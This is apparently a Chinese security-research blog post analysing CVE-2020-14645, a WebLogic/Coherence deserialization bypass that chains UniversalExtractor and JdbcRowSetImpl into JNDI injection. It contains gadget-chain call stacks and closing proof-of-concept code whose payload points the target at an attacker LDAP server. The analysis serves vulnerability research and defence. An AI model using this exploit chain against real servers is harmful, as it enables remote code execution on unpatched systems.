参考前面的环境
这个利用方式也就是针对CVE-2020-2883
的黑名单绕过,在2883那个CVE存在有两条链子,但是本质上都是通过ReflectionExtractor
来调用的任意的方法,最后进行命令执行的,之后再补丁中将该类加入了黑名单中,而这里的CVE也就是在这个基础上找到了在com.tangosol.util.extractor.UniversalExtractor
类中也能够进行类似的逻辑,进行黑名单的绕过
因为这里就只是之前的一个CVE的一种黑名单绕过,这里对于前面就不过多的提及了,可以看看前面的分析
首先看看如果调用extract方法的,在前面的分析中,我们能够知道在ExtractorComparator
这条链中
主要是通过ExtractorComparator#compare
方法的调用中能够触发任意类的extract
方法,所以在那条链子中就是使用的调用ChainedExtractor#extract
,之后通过ReflectionExtractor
来进行了命令执行
而如何调用其compare方法的呢?
主要是通过CC链的方式,通过调用PriorityQueue#readObject进而调用到了其的compare
方法
贴个调用栈就行了
exec:347, Runtime (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) extract:109, ReflectionExtractor (com.tangosol.util.extractor) extract:81, ChainedExtractor (com.tangosol.util.extractor) compare:61, ExtractorComparator (com.tangosol.util.comparator) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:2122, ObjectInputStream (java.io) readOrdinaryObject:2013, ObjectInputStream (java.io) readObject0:1535, ObjectInputStream (java.io) readObject:422, ObjectInputStream (java.io) readObject:67, InboundMsgAbbrev (weblogic.rjvm) read:39, InboundMsgAbbrev (weblogic.rjvm) readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm) init:212, MsgAbbrevInputStream (weblogic.rjvm) dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm) dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3) dispatch:359, BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:970, SocketMuxer (weblogic.socket) readReadySocket:907, SocketMuxer (weblogic.socket) process:495, NIOSocketMuxer (weblogic.socket) processSockets:461, NIOSocketMuxer (weblogic.socket) run:30, SocketReaderRequest (weblogic.socket) execute:43, SocketReaderRequest (weblogic.socket) execute:147, ExecuteThread (weblogic.kernel) run:119, ExecuteThread (weblogic.kernel)
之后从漏洞的入口开始分析UniversalExtractor#extract
方法中
在这里,传入的oTarget
参数是我们构造的JdbcRowSetImpl
类对象,为什么要设置为这个对象,我们后面会进行分析
这里,因为m_cacheTarget
是一个被transient
修饰的属性,所以,这里肯定是会进入else语句调用extractComplex
方法
在extractComplex
方法的后面存在有一个能够任意调用任意类的任意方法的操作
我们倒过来看存在有什么样的限制,这里的oTarget
没有任何的争议,我们是完全可控的一个类对象
重点来看看method
变量的限制
解释一下子这个方法的逻辑
首先获取了oTarget
这个对象的类,之后调用了getCanonicalName
方法获取方法名
这里的Lambdas.getValueExtractorCanonicalName(this)
因为传入的参数是this,所以会一直为null,进入if语句中去
调用CanonicalNames.computeValueExtractorCanonicalName
方法来获取,传入的参数是m_sName / m_aoParam
这两个属性值
分析一下具体的逻辑,首先第一个if语句就要求了必须要是一个无参的方式,之后再第一个else if
语句中,如果传入的sName
值不以()
结尾,就直接将这个变量值进行返回
如果存在有()
,进入else
语句中去
其中限制了方法的前缀
必须以get / is
开头的方法才能满足
之后的逻辑就是将方法中的前缀get / is
和后缀()
给去掉,并且将首字母给小写了进行返回
而这里也不是直接对method
进行了控制,真正的控制还是需要回到extractComplex
方法中
在这里fProperty
如果为true,就会按照之前去除的规则,将其还原为方法名,并且调用ClassHelper.findMethod
来获取对应的方法
之后就是创建了一个TargetReflectionDescriptor
对象将其赋值给m_cacheTarget
属性,传入的参数是clzTarget
和我们前面构造的method
看到寻找getXXX
开头的函数,并且具有对应的属性,我们很容易就联想到FastJson的一系列反序列化就是getXX / setXX
等方法的寻找
很多,这里用的是经典的JdbcRowSetImpl
链
跟进看看
在JdbcRowSetImpl#getDatabaseMetaData
方法的调用中
调用了connect
方法进行连接
在这个方法中,存在这样一串代码
InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
这里调用getDataSourceName
方法就会返回对应的属性值,之后进行lookup查询,造成了JNDI注入漏洞
贴个调用栈:
connect:624, JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) extractComplex:432, UniversalExtractor (com.tangosol.util.extractor) extract:175, UniversalExtractor (com.tangosol.util.extractor) compare:71, ExtractorComparator (com.tangosol.util.comparator) siftDownUsingComparator:722, PriorityQueue (java.util) siftDown:688, PriorityQueue (java.util) heapify:737, PriorityQueue (java.util) readObject:797, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io)
POC的关键代码
这里就借用Y4er师傅的简洁点的POC
https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1); final ExtractorComparator comparator = new ExtractorComparator(extractor); JdbcRowSetImpl rowSet = new JdbcRowSetImpl(); rowSet.setDataSourceName("ldap://192.168.153.1:1389/ogzhze"); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); Object[] q = new Object[]{rowSet, rowSet}; Reflections.setFieldValue(queue, "queue", q); Reflections.setFieldValue(queue, "size", 2);
https://github.com/Y4er/CVE-2020-14645/blob/master/CVE_2020_14645.java